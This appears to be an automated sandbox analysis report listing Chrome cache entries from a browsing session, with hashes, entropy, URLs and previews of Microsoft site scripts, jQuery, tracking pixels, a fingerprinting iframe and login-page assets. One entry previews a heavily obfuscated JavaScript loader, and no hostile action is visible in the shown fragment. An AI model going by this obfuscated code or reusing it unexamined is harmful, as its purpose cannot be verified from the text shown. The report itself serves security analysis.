Preview:	'use strict';window.ExpConsentUtils=window.ExpConsentUtils\|\|{};window.ExpConsentUtils=function(){return{waitForObj:function(f){return new Promise(function(d,c){var h=0,k=setInterval(function(){100>h?"visitor"==f&&"object"===typeof visitor&&visitor\|\|"consent"==f&&"undefined"!==typeof WcpConsent&&WcpConsent&&"undefined"!==typeof WcpConsent.siteConsent&&WcpConsent.siteConsent&&"undefined"!==typeof GPC_DataSharingOptIn&&null!=GPC_DataSharingOptIn?(clearInterval(k),d()):h++:(clearInterval(k),c())},50)})}}}();.var ExpConsentHandler=function(){function f(){window.ExpConsentUtils.waitForObj("visitor").then(function(){visitor.getVisitorValues(function(a){adobe.target.trackEvent({mbox:"personalizationConsent"})})}).catch(function(a){console.log(a)})}function d(){return WcpConsent&&WcpConsent.siteConsent&&void 0!==WcpConsent.siteConsent.isConsentRequired&&null!==WcpConsent.siteConsent.isConsentRequired?WcpConsent.siteConsent.isConsentRequired:!0}function c(){var a=WcpConsent&&WcpConsent.siteConse

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
URL:	https://us-u.openx.net/w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ&cc=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.661188988961239
Encrypted:	false
SSDEEP:	3:agWqLss4aXD5R20gJYRnd7HtOx1L5HQhLIzseX5LxfYLk21:QqPXD5bDRd7H8L5whLzeJSI21
MD5:	C22EA5B46F3FCAD90DA0ABCC0A3F73D4
SHA1:	2DB789C63AFB63D98932D7B55907DC3508E318B4
SHA-256:	8334DAA260516BB896407461E5F10E8E3041B06C56846BBB9D3435C6E77513AD
SHA-512:	A0359F8C25DC40CEFFD14A41BA81794717B99DABE78CBF8A8678F3E3EC57F317388CA0DC55B1CC6AD2D6C13D2B3CAEB5A64527BB2C646ED2D93775437DA646F1
Malicious:	false
Preview:	'use strict';function isFeatureEnabled(b){var a=document.getElementById("customFeatureControl").getAttribute("enabledFeatures");return null!=a&&a.includes(b)};

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (889)
Category:	dropped
Size (bytes):	92962
Entropy (8bit):	5.482012211093105
Encrypted:	false
SSDEEP:	1536:wB4vGoYlmQr+IDv1Ty/6RsSz5TGF/46nNUgDbC03vu9FnHKDfa6Z/VUhdIKq6Tjv:wqxNrNG9FnHKD/oIKq6Tjv
MD5:	35986A813756F39AB6B922979FFEDB03
SHA1:	C8E2213BBAFAF535DA9C6676F3DBA43449E4D15A
SHA-256:	E2D92BDAAD925C6D355331A338384EE3FF82492352975DD4EFDA791AEF4AB3F5
SHA-512:	289F1C432E73F611D54EB1130013174174222A0C5EEF8E2464C5FD51EE33DC702326EEECA80B2AAE213DB2FCCB149297FC37CC9A0B6CF6E928A66BC27843F930
Malicious:	false
Preview:	/. jQuery JavaScript Library v3.5.1. https://jquery.com/.. Includes Sizzle.js. https://sizzlejs.com/.. Copyright JS Foundation and other contributors. Released under the MIT license. https://jquery.org/license.. Date: 2020-05-04T22:49Z. Sizzle CSS Selector Engine v2.3.5. https://sizzlejs.com/.. Copyright JS Foundation and other contributors. Released under the MIT license. https://js.foundation/.. Date: 2020-03-14./.'use strict';(function(H,Sa){"object"===typeof module&&"object"===typeof module.exports?module.exports=H.document?Sa(H,!0):function(Ta){if(!Ta.document)throw Error("jQuery requires a window with a document");return Sa(Ta)}:Sa(H)})("undefined"!==typeof window?window:this,function(H,Sa){function Ta(a,b,c){c=c\|\|M;var d,f=c.createElement("script");f.text=a;if(b)for(d in Kc)(a=b[d]\|\|b.getAttribute&&b.getAttribute(d))&&f.setAttribute(d,a);c.head.appendChild(f).parentNode.removeChild(f)}function Ia(a){return null==.a?a+"":"object"===typeof a\|\|"function"===typeof a?db[Ob.call(a)]

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3135
Entropy (8bit):	7.928926134843358
Encrypted:	false
SSDEEP:	96:SS+6XNWzuaLBnTaQMV0rOhfU+gn/5e9KIju:SS++NITV3rUfwnQ9K3
MD5:	239BB3CDE1E97B39EEA355E8D08FACAE
SHA1:	C9AEC6D9F808924BF83FB1CF39C8EBB94E5B82F7
SHA-256:	39F553BF04E8F772FB77482B0069F46A1E8FFA0E509B4A319A3D4B8C65655DDE
SHA-512:	94D516F4892090D025AECD9A9F667BBB16AA897F41453241015E730482B54755996CE226DCE762817834A8E89E471844A1F64BAAC189BDEB62C329B94EC82DAF
Malicious:	false
URL:	"https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/UHFbanner-CopilotIcon48x48v2?fmt=png-alpha&bfc=off&qlt=100,1"
Preview:	.PNG........IHDR...0...0.....W.......pHYs.................IDATh.._.e.Y....}k.I.?g.B/l;S.`....l+5.."....b.......^.H..7.o&-....Rh....../fB....x....X5-.v&M...{}....>g&9M&..,8.}.^{..y..}....m^.G._.x...@}%.....C.g..#..m.....1..y....o..._.&;.^...])U....'.^:}.......}..{..r......F...1..=.p...%....{#BD.RD)"Jl;...K..U.?0.o...2./..qLQ.......t.9..\|._;x.J..Z..$NF.g..o....x.k.T.kN#......&.7.3...5v....Pk.V..R).Z4..^..n-.Gf`.jO1.$m......-K......F..`..W... ..#?.T.T..8.ql.x.5.....{6......It}...MI....M......H~{.. .!.jq.bX.a. ...v..n...$t..o.l...N..a..q.KcD?.-..B..KV..o..W.....Q..a.1.<...]CY.......W.z...>.b...h...({Dn..<Jn...I48...D,%/).../.q.A.../.mQi.Bn..E..w=..2p.'....$L^..F..d..%jK....aX&;..76B.".X...B..9..(d.\.....W.....O..,.P.o..7.j..>g..d.6..@...kc.:pa$....`.U.F.>..(..!ku...q.p.x..l..[V.`. ;`.hw..@{..,,..........A..."i._.....9.rQ.Z......]..?.)\|.....g...ZBo.py.zU...^.B.t..S`I..L..,.;.H=..o$..a(O~.K?q.._...+.L..G....&H...c.' 2}..+{{.....!....r.$k..A.A.S....

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:H9K4nY:pY
MD5:	6DEF31F937A7D8519447F992713EA147
SHA1:	C7007D0C33D49929BE2D89F7FA7AE0AE07F35BE4
SHA-256:	28C9AE0CAF81982DAE037F7C9A556E96353B30CB425BB9B9CE132FAB14ED5EAE
SHA-512:	0D7BB94489F29CDD8EFB11BF8318754431AEAAFFAA9FE7622F1BBB72C3520830ABB279C115A39E78294E29973F610F01E0B3DF29293342DA62AAFB21EDD92A95
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnzpoV_KTyFkBIFDcF1ipg=?alt=proto
Preview:	CgkKBw3BdYqYGgA=

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	dropped
Size (bytes):	544
Entropy (8bit):	5.221040627274746
Encrypted:	false
SSDEEP:	12:Yz+uu8HDeNucEuKEZEuwdaXOVWMsk2lntX2F3/v2d7oyxCJNe:YauZStKa5nltX2Fvege
MD5:	383B23D12DF0D9265D7569A7102C2F96
SHA1:	B78FB17F58484F5CD29B3FE307936181E1B30B57
SHA-256:	BBF608E321107D6C4EEAF31A4A0EEB9DD8A9AB825F645FA963651688FD3D3914
SHA-512:	8CA27D482871CAFF41C2D86CA743F075ED97465C12624B1841396B423229A90AFB7E62211BB02DFC0211C45BBABFD12F82EFF8863E6FD3D176FCD99C84747F60
Malicious:	false
Preview:	'use strict';(function(){(function(b){var a=document.createElement("iframe");a.setAttribute("src","https://fpt.microsoft.com/tags?session_id\x3d"+b);a.style.width="100px";a.style.height="100px";a.style.cssText="display: none; color: rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200px; border:0px";a.title="greenID";a.setAttribute("id","greenID");document.body.append(a)})(function(){return"10000000-1000-4000-8000-100000000000".replace(/[018]/g,b=>(b^crypto.getRandomValues(new Uint8Array(1))[0]&.15>>b/4).toString(16))}())})();

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.327819531114783
Encrypted:	false
SSDEEP:	3:Aq7KKlMT9:AqeKWT9
MD5:	A8A3710424DC6E0DFF393C6964441BDB
SHA1:	E4978066791DD394BDDD174F2687A7CDD43442B2
SHA-256:	46CD047CC0D3D10776E2F50D4C9D55DB58BD97D7A95B7D691F53D4937C71CF00
SHA-512:	EE135EE50868E59853C8FE57A9471AE1FBBDE30A929D33B4A4D56200E70C93AFDFF0301EF7FEBC803258C2BA2DCBC183E632B2ADA1745D3C87C1EEB98E8DEE62
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/universalheader/v1/universalheader/clientlibs/site.min.ACSHASHa8a3710424dc6e0dff393c6964441bdb.css
Preview:	[class*="z-"]{position:relative}

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3164)
Category:	dropped
Size (bytes):	34401
Entropy (8bit):	5.567515913811421
Encrypted:	false
SSDEEP:	768:xluaIaJW9ePBW/YfKbNckc0OFc0hLoSIbSZdfKGnRmSdgSJnsYXZeTnOki:XuioyA/7c0opLozb6RmCg6kTG
MD5:	5EE9E4E4E0A5FD39092E63D2D102B12B
SHA1:	1B66C81BD03006B327228854327C0FD3DF434BC2
SHA-256:	441B9F212CD322C6B039A2691F999EB2FAFC10FD645BCDB043A6DEE2DD052DA7
SHA-512:	3CA07A5D89931BCF6F0294C0727020A7FFE663487DB6ECC309FF69DDF59A0490BF85395E91241D40ED1DCF157C0784E6D6B53D8C92D52ED05823CCB6FBE1C470
Malicious:	false
Preview:	'use strict';(()=>{function L(n){var r=T[n];if(void 0!==r)return r.exports;r=T[n]={exports:{}};return U[n](r,r.exports,L),r.exports}var U={3770:(n,r,h)=>{n.exports=h(2494).default},2494:(n,r,h)=>{function f(x){return!x.response&&!!x.code&&"ECONNABORTED"!==x.code&&(0,a.default)(x)}function g(x){return"ECONNABORTED"!==x.code&&(!x.response\|\|500<=x.response.status&&599>=x.response.status)}function p(x){return!!x.config&&g(x)&&-1!==t.indexOf(x.config.method)}function m(x){return f(x)\|\|p(x)}function k(){return 0}.function l(x){var H=x[A]\|\|{};return H.retryCount=H.retryCount\|\|0,x[A]=H,H}function u(x,H){x.interceptors.request.use(function(E){return l(E).lastRequestTime=Date.now(),E});x.interceptors.response.use(null,function(E){var v=E.config;if(!v)return Promise.reject(E);var I=Object.assign({},H,v[A]),P=I.retries;P=void 0===P?3:P;var J=I.retryCondition;J=void 0===J?m:J;var M=I.retryDelay;M=void 0===M?k:M;I=I.shouldResetTimeout;I=void 0!==I&&I;var Q=l(v);if(J(E)&&Q.retryCount<P){Q.retryCount+

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 450033
Category:	dropped
Size (bytes):	122359
Entropy (8bit):	7.997672402044917
Encrypted:	true
SSDEEP:	3072:orjhHYnczNv/BYNKgCvuogMuqZ+qNE89V37l9jjP:Uh4MWkgK4MuqZNVjHj
MD5:	8DB0BD18486BC022435B0F0DF1EAF175
SHA1:	16D878E1AE0C632CCB69AC9DA6E491B02346BEB1
SHA-256:	35DC944040D799FC32FDFA5C5895750B28BF5CA07932CFED86C65593F5320874
SHA-512:	C27DB510A3EB275610FE5957FFBD14C0335F7181CB962DAF6D48C45C29FEDA5B8C1E3206EA8C076E3475968A7A2FFC16F6C106E0C08795272B50927747141749
Malicious:	false
Preview:	...........{w.8.8.....fn..(...J.....v.g.wS..Y..ud.+.y....?.$%.SU.{.=..yT,.\|. .. ......si...S.]...K.......%\|.G.bx}..\|.=.(.....K..g%.;.c...F%/p.h.Fv......<./M.pVJ.Xi...2'.K..'Ph...T..".tiG.k...R.....M..J;...~?$. L<......\|..bVZ...J....P:..(..IR...'h$^@z...dG....4.....Z.!..5.fx.1.C.<...@._...b....4......t".....C).K..B.>...LK..YL.`zV.t.]8I57.EO.E./.....Y1...^......id..r..L.=.... ..y..._K.l.....%.'.\|.\|.[...YU.A..g....q.\....Zk.fTx.C..c....<,.U'.}p...c....s?..hx..g...q\.....zP:.g....U...).?..K..X..>..........d.8.2.,..RP..+..O6 _....nkwz...;=.j.c.....U.....0..xVx....1...~.&.sV}...s.(.3 ...s_.u...k.zw..Nu.......Tt.a......n).\|W...@.ev..Y..S....]..s..V.j..M.r.\Y..Z.n[.z...S4...oR.n..J.E...w....b\|H.-L.....c.".\.V....B..D...=..V..vjY..D.B......rb...~U2b\.....:.0.M~k;....Z_..!......5......m....k.N..&.+...Ri...T\.8`{.3.B...DL}4].:.u........`?....W`Z".S.S..<= ....Z...n."..*}..K.{8)..._..A%..L...I)UX...)y..P.V.....G.....z{K?.,............@Z..2.(..%'<B..

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (728)
Category:	downloaded
Size (bytes):	11405
Entropy (8bit):	5.337832455968521
Encrypted:	false
SSDEEP:	192:ei4mI8A10VNEHbnIB89tGRbvlG/bUgck7L8Dap8z+vRjQfymrQy1Zy1Gy1M+qmWW:eiy1F7nIB89tGRbvaUBvk8qjQfymrQy8
MD5:	FF9CACB22668C4F6174E0AF4A2BE89F9
SHA1:	EC9ED15001A3E13404660B6EA09F99C512E08882
SHA-256:	EF39A5CC6826231852FD8D60736867DA31E7E9036F3575B1DC4846DC6FB86A3B
SHA-512:	267064DCB16AB4B9B19756C2313CCB9E5B467A41427DE9BF46158A1C2231699EC43D51C2F201D97C02AFA31BF5011FF471035CF10C7DC6003299B86D85C52806
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-site.min.ACSHASHff9cacb22668c4f6174e0af4a2be89f9.js
Preview:	'use strict';var UHFButton=$("header #c-uhf-nav-cta \x3e a");0<$("meta[name\x3d'blue-cta']").length&&UHFButton.addClass("blue-cta");UHFButton.css("visibility","visible");var mainLandmark=$("main"),rootNode=$(".root");0< !mainLandmark.length&&0<rootNode.length&&rootNode.attr("role","main");.function changeSupToAnchor(){try{var a="",b="",c=[];$("sup:not(.no-link)").each(function(){a=$(this).text();a=a.replace("*(","");a=a.replace(")","");c=a.split(", ");for(var e=0;e<c.length;e++)b+="\x3ca aria-label\x3d'Footnote "+c[e]+"' href\x3d'javascript:void(0);' class\x3d'c-hyperlink supBLink'\x3e\x3cspan class\x3d'supText'\x3e"+c[e]+"\x3c/span\x3e\x3c/a\x3e\x3cspan\x3e, \x3c/span\x3e";$(this).html(b);b=""});$("sup").find("span:last").remove();var d=$(".list-unstyled li a.superscript");d.attr("href",."javascript:void(0);");d.addClass("supLink");d.each(function(){0==$(this).find(".supFn").length&&$(this).wrapInner("\x3cspan class\x3d'supFn'\x3e\x3c/span\x3e")})}catch(e){console.log(e)}}.function n

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	131540
Entropy (8bit):	5.1656937821113385
Encrypted:	false
SSDEEP:	3072:EIHGEOA4TFfcJTGLL9jOjf5o6r5s0hF3rRu/MD:HmEOACfcJS/9j6f5o05s0vR+MD
MD5:	99CCBD57C9C26BD8C94D3B6385BDF128
SHA1:	444026CF478FA68C47C9CEB0226363FC3C48E891
SHA-256:	510E1481CA6DBCE1303B54C4F3747F18F7E9063351721B9D49EF9EFC709176D3
SHA-512:	B5192A6EA4DDB54F6BFA380451C3457E89E1E4D0D3CA4BF2687E2385988FA2A80163B3B882ABD0AC23E314B1DC665394928DAB7F86E0E481EB098867A7CE2549
Malicious:	false
Preview:	(function(_0x47d60c,_0x341ecc){const _0x389b7f=_0x4018,_0x5e0203=_0x47d60c();while(!![]){try{const _0x20a50b=-parseInt(_0x389b7f(0x4b3))/(-0x170xe+0x583+0x4-0x110)+parseInt(_0x389b7f(0x477))/(0x1-0x1346+-0x110x9b+0x1d93)(parseInt(_0x389b7f(0x3d3))/(0x23e1+-0x23c90x1+0x15-0x1))+parseInt(_0x389b7f(0x44c))/(0x820-0x2+-0x3-0x443+-0x1b-0x21)+-parseInt(_0x389b7f(0x554))/(-0x10fb+-0x550x50+0xae40x4)(-parseInt(_0x389b7f(0x4b2))/(0xd390x1+0x244-0x3+0x667-0x1))+-parseInt(_0x389b7f(0x367))/(-0xd07+0x1ab3+0x1f3-0x7)+-parseInt(_0x389b7f(0x3ef))/(0x210e+0xa230x3+-0x10x3f6f)+-parseInt(_0x389b7f(0x37a))/(0x180b-0x1+-0x254b+0x3d5f0x1)(parseInt(_0x389b7f(0x4ba))/(0x10x1a57+-0xb0x169+0x2-0x565));if(_0x20a50b===_0x341ecc)break;else _0x5e0203['push'](_0x5e0203['shift']());}catch(_0x1336d1){_0x5e0203['push'](_0x5e0203['shift']());}}}(_0x4185,0x1-0x7756c+-0xa*0x22c72+0x2aa0d9),function(_0x2e8709,_0x3da36c){const _0x2fc7ec=_0x4018,_0x481025={'dzJzb':function(_0xc0c75f){return _0xc0c7

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
URL:	https://www.facebook.com/fr/b.php?p=1531105787105294&e=Z1hL5gAAAMiWjgOJ&t=2592000&o=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (605)
Category:	dropped
Size (bytes):	179808
Entropy (8bit):	5.556656445593751
Encrypted:	false
SSDEEP:	3072:xLp14+FgmOlITmhHDBrWnW+9BDI8nvtmmRHVi3J11HFaANDVDoO:xLp3EHDBrWW2BjvRREJPHFXNh
MD5:	C3AEC3D03BC5447975E3EE25B53F6C32
SHA1:	353F68C0F6DF93888427E40135CF2DBF517F6FD0
SHA-256:	72FBAC0EA8A0FF74E7ABE2E24FB992885AC904A3C1C579387E97654DD9C535BA
SHA-512:	7D0E3CE67B84B7C1BBFC4511623426D68DE11D90BBEFF026013424C17D810CB59C75CD0754DD3A8AD9D3E27ED9620C9A6B92E2D7188C03845B0C3CC0E72951A1
Malicious:	false
Preview:	'use strict';(()=>{function kc(a){a=!1===(a=void 0===a?!0:a)?null:gg;return a\|\|((a=(a=(a="undefined"!==typeof globalThis?globalThis:a)\|\|"undefined"===typeof self?a:self)\|\|"undefined"===typeof window?a:window)\|\|"undefined"===typeof Sc.g\|\|(a=Sc.g),gg=a),a}function se(a){function b(){}var c;if(hg)a=hg(a);else if(null==a)a={};else{if("object"!==(c=typeof a)&&c!==yc)throw new TypeError("Object prototype may only be an Object:"+a);a=(b.prototype=a,new b)}return a}function Sa(a,b){function c(){this.constructor=.a}if(typeof b!==yc&&null!==b)throw new TypeError("Class extends value "+String(b)+" is not a constructor or null");ig(a,b);a.prototype=null===b?se(b):(c.prototype=b.prototype,new c)}function jg(a,b){for(var c=0,d=b.length,e=a.length;c<d;c++,e++)a[e]=b[c];return a}function Gb(a,b){return a&&ud.prototype.hasOwnProperty.call(a,b)}function vd(a){return a&&(a===ud.prototype\|\|a===Array.prototype)}function te(a){return vd(a)\|\|a===Function.prototype}function lc(a){if(a){if(Tc)return Tc(a);var

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (605)
Category:	downloaded
Size (bytes):	179808
Entropy (8bit):	5.556656445593751
Encrypted:	false
SSDEEP:	3072:xLp14+FgmOlITmhHDBrWnW+9BDI8nvtmmRHVi3J11HFaANDVDoO:xLp3EHDBrWW2BjvRREJPHFXNh
MD5:	C3AEC3D03BC5447975E3EE25B53F6C32
SHA1:	353F68C0F6DF93888427E40135CF2DBF517F6FD0
SHA-256:	72FBAC0EA8A0FF74E7ABE2E24FB992885AC904A3C1C579387E97654DD9C535BA
SHA-512:	7D0E3CE67B84B7C1BBFC4511623426D68DE11D90BBEFF026013424C17D810CB59C75CD0754DD3A8AD9D3E27ED9620C9A6B92E2D7188C03845B0C3CC0E72951A1
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/structure/page/clientlibs/custom-oneds.min.ACSHASHc3aec3d03bc5447975e3ee25b53f6c32.js
Preview:	'use strict';(()=>{function kc(a){a=!1===(a=void 0===a?!0:a)?null:gg;return a\|\|((a=(a=(a="undefined"!==typeof globalThis?globalThis:a)\|\|"undefined"===typeof self?a:self)\|\|"undefined"===typeof window?a:window)\|\|"undefined"===typeof Sc.g\|\|(a=Sc.g),gg=a),a}function se(a){function b(){}var c;if(hg)a=hg(a);else if(null==a)a={};else{if("object"!==(c=typeof a)&&c!==yc)throw new TypeError("Object prototype may only be an Object:"+a);a=(b.prototype=a,new b)}return a}function Sa(a,b){function c(){this.constructor=.a}if(typeof b!==yc&&null!==b)throw new TypeError("Class extends value "+String(b)+" is not a constructor or null");ig(a,b);a.prototype=null===b?se(b):(c.prototype=b.prototype,new c)}function jg(a,b){for(var c=0,d=b.length,e=a.length;c<d;c++,e++)a[e]=b[c];return a}function Gb(a,b){return a&&ud.prototype.hasOwnProperty.call(a,b)}function vd(a){return a&&(a===ud.prototype\|\|a===Array.prototype)}function te(a){return vd(a)\|\|a===Function.prototype}function lc(a){if(a){if(Tc)return Tc(a);var

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	downloaded
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
